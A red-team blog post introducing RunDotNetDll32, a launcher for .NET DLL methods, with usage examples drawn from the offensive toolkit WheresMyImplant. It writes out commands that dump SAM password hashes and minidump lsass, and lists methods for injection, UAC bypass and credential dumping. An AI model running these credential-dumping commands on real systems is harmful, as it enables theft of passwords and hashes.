Executing .NET Methods with RunDotNetDll32

For DerbyCon 2017 I released a mini red team toolkit in the form of a .Net DLL named WheresMyImplant.  Since then I’ve been expanding its functionality to continue development on it. As part of the effort I needed a way to quickly execute .NET methods from an existing DLL.  However, to the best of my knowledge there was no nice way of doing that without using PowerShell or .net SmokeTest. So I created RunDotNetDll32 for that purpose.

In this blog I’ll provide an overview of what RunDotNetDll32 does and some common usage examples.

Introduction to RunDotNetDll32

Below is a basic example command showing how to use PowerShell to load the .NET DLL WheresMyImplant.dll so that the DumpSAM() function can be executed to recover local password hashes.

[System.Reflection.Assembly]::Load("WheresMyImplant.dll")
[WheresMyImplant.Implant]::DumpSAM()
[System.Reflection.Assembly]::Unload("WheresMyImplant.dll")

As you can see, PowerShell can be a great medium for executing .NET methods reflectively.  However, this can become a bit cumbersome during testing and isn’t ideal for executing client side.

Enter RunDotNetDll32; this executable has one purpose, to duplicate the functionality of rundll32 for .Net assemblies. Syntactically it is very similar to rundll32.exe. For example, if you wanted to execute the pre-mimikatz trick of locking the workstation and keylogging the winlogon process, it would start with the following command:

rundll32.exe User32.dll,LockWorkStation

Where the syntax is:

rundll32.exe $ASSEMBLY,$ENTRYPOINT $ARGUMENTS

With RunDotNetDll32 the syntax had to be slightly modified to the following:

rundotnetdll32.exe $ASSEMBLY,$NAMESPACE,$CLASS,$METHOD $ARGUMENTS

For example, to run the SAM hashdump from WheresMyImplant you could use the command below:

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Implant,DumpSAM
----------
Namespace: WheresMyImplant
Class: Implant
Method: DumpSAM
Arguments:
----------
[+] Running as SYSTEM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Similarly, the MiniDump method can be run from WheresMyImplant:

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Implant,MiniDump 552,lsass.dmp
----------
Namespace: WheresMyImplant
Class: Implant
Method: MiniDump
Arguments: 552 lsass.dmp
----------
[+] Received Handle: 512
[+] Dump File Created

Enumerating Namespaces, Classes and Methods

It was pointed out to me early on that it’s not intuitive to have to remember every namespace, class, and method in an assembly. So the functionality to list namespaces, classes, and methods was rolled in.

Below are some basic examples:

Listing Namespaces

rundotnetdll32.exe WheresMyImplant.dll list namespaces 

WheresMyImplant

Listing Classes

rundotnetdll32.exe WheresMyImplant.dll list classes

WheresMyImplant
        [TRUNCATED]
        RunCommandPrompt
        ntdll
        LSASecrets
        InjectDll
        MyInstall
        Implant
        BaseSQL
        RunXPCmdShell
        Advapi32
        [TRUNCATED]

Listing Methods

rundotnetdll32.exe WheresMyImplant.dll list methods WheresMyImplant Implant

WheresMyImplant
        Implant
                RunCMD
                RunPowerShell
                RunXpCmdShell
                InjectShellCode
                InjectShellCodeWMIFSB64
                InjectDll
                InjectDllWMIFS
                InjectPeFile
                InjectPeString
                InjectPeWMIFS
                InjectPeWMIFSRemote
                Empire
                Tokenvator
                BypassUac
                DumpLsa
                DumpSAM
                DumpDomainCache
                DumpVault
                DumpVaultCLI
                ReadProcessMemory
                CheckCCNumber
                MiniDump
                PSExec
                WirelessPreSharedKey
                [TRUNCATED]

I made this program for myself and the team, but hopefully it will be useful to blue and red team members developing .NET applications.  If you have any bugs or commits let me know.  Both are welcome.